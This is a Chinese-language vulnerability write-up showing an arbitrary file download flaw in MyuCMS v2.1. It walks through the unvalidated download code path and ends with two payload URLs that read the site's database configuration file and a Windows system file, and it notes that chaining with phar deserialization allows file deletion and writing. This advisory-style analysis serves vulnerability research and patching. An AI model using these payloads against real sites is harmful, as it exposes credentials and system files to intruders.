MyuCMS v2.1 前台任意文件下载¶
一、漏洞简介¶
二、漏洞影响¶
MyuCMS v2.1
三、复现过程¶
既然是文件下载,先在整个项目中搜索下 download 关键字,尝试看看能不能直接定位到关键代码。
通过搜索定位到 bbs 模块下的 Index 控制器的 download 方法。
download 方法接受三个参数,这三个参数我们是完全可控的,单从 download 这个方法来看,无任何参数内容限制,直接将 $url 和 $name 两个参数传递给了 Http 类的 download 方法来执行下载。
若 Http->download() 方法中还未对参数内容进行限制,便会造成任意文件下载漏洞。
接下来,我们跟进 Http->download() 方法。
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) { //判断 $filename 是否为文件
$length = filesize($filename); // 获取 $filename 的文件大小
}elseif($content != '') {
$length = strlen($content);
}else {
throw_exception($filename.L('下载文件不存在!')); // 若文件不存在抛出异常
}
if(empty($showname)) {
$showname = $filename; // $showname 为下载后文件的名称。若未设置则与被下载文件同名
}
$showname = basename($showname); //获取路径中的文件名部分
if(!empty($filename)) {
$type = mime_content_type($filename); //获取文件的MIME类型
}else{
$type = "application/octet-stream";
}
//发送Http Header信息 开始下载
header("Pragma: public");
header("Cache-control: max-age=".$expire);
//header('Cache-Control: no-store, no-cache, must-revalidate');
header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
header("Content-Disposition: attachment; filename=".$showname);
header("Content-Length: ".$length);
header("Content-type: ".$type);
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
if($content == '' ) {
readfile($filename); // 读取文件内容并输出,从而实现下载
}else {
echo($content);
}
exit();
}
由如上代码我们可以看出,Http->download() 方法中同样**未对传入的参数进行内容限制**,只实现了下载的业务逻辑。
此处任意文件下载,结合 phar 反序列化,还可以造成任意文件删除和任意文件写入(仅linux下)。
Payload¶
Payload: http://www.0-sec.org/bbs/index/download?url=application/database.php&name=&local=1
Payload: http://www.0-sec.org/bbs/index/download?url=c:/windows/win.ini&name=&local=1